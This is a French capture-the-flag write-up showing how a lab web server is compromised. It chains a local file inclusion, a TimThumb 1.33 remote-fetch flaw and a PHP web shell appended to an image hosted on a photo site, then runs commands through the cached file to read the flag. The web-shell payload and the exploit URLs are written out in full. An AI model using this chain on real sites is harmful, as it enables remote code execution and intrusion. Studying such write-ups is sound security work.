On repère une LFI :
http://10.13.37.13/?page=/etc/passwd
En regardant la source de la page on constate que les images sont chargées via un script PHP nommé tt.php
.
En cherchant un peu on se rend compte qu'il s'agit de TimThumb 1.33
.
Une petite recherche pour trouver un exploit : http://www.exploit-db.com/exploits/17602/
Mais il est dit pour ce sploitz : “Version 1.33 did not save the cache file as .php”.
Ok on note ça et on s'en occupe après ;)
On exploit donc TimThumb
afin d'upload une image contenant un shell PHP.
Pour ce faire il faut savoir que seulement quelques domaines sont autorisés, les voici :
'flickr.com','picasa.com','blogger.com','wordpress.com','img.youtube.com','upload.wikimedia.org','photobucket.com
'
Je prends une image et j'y ajoute ce bout de PHP en fin de fichier :
<?php echo shell_exec($_GET['c']); ?>
Je me crée alors un compte flickr afin d'y déposer mon image.
Je récupère le lien, disons
http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png
Maintenant il faut upload cette image, ça se fait via cette URL :
http://10.13.37.13/tt?src=http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png
Le lien créé pour accéder en direct à notre image fraichement envoyée sera le suivant :
http://10.13.37.13/cache/external_c16158604ce9d16fa83955d4fbd4ff39 où c16158604ce9d16fa83955d4fbd4ff39 == md5(http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png)
Rappelons-nous de la LFI rencontré au début, nous allons l'utiliser pour faire exécuter le PHP inséré dans l'image :
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=pwd
Hop on voit bien le chemin d'accès qui s'affiche, donc notre PHP est bien exécuté.
Listons le répertoire :
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=ls -alh nous donne : drwxr-xr-x 6 root root 4.0K Oct 12 12:36 . drwxr-xr-x 3 root root 4.0K Oct 12 12:35 .. -rw-r--r-- 1 root root 12 Oct 12 12:09 575b3f3f5318b2afbfe91ed860a4b10c.txt drwxrwxrwx 2 root root 60K Oct 18 19:17 cache -rw-r--r-- 1 root root 2.7K Oct 12 12:08 contact.html drwxr-xr-x 2 root root 4.0K Aug 29 12:19 css -rw-r--r-- 1 root root 2.9K Oct 12 12:04 home.html drwxr-xr-x 2 root root 4.0K Aug 29 12:19 images -rw-r--r-- 1 root root 180 Oct 12 12:03 index.php drwxr-xr-x 2 root root 4.0K Aug 29 12:19 js -rw-r--r-- 1 root root 21K Jul 31 2011 tt.php
Tiens tiens, regardons ce qui se trouve dans le fichier 575b3f3f5318b2afbfe91ed860a4b10c.txt
:
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=cat 575b3f3f5318b2afbfe91ed860a4b10c.txt nous donne : johnnybravo
Voilà, le flag est johnnybravo
.
Par Krach (contact{at}krach{dot}me)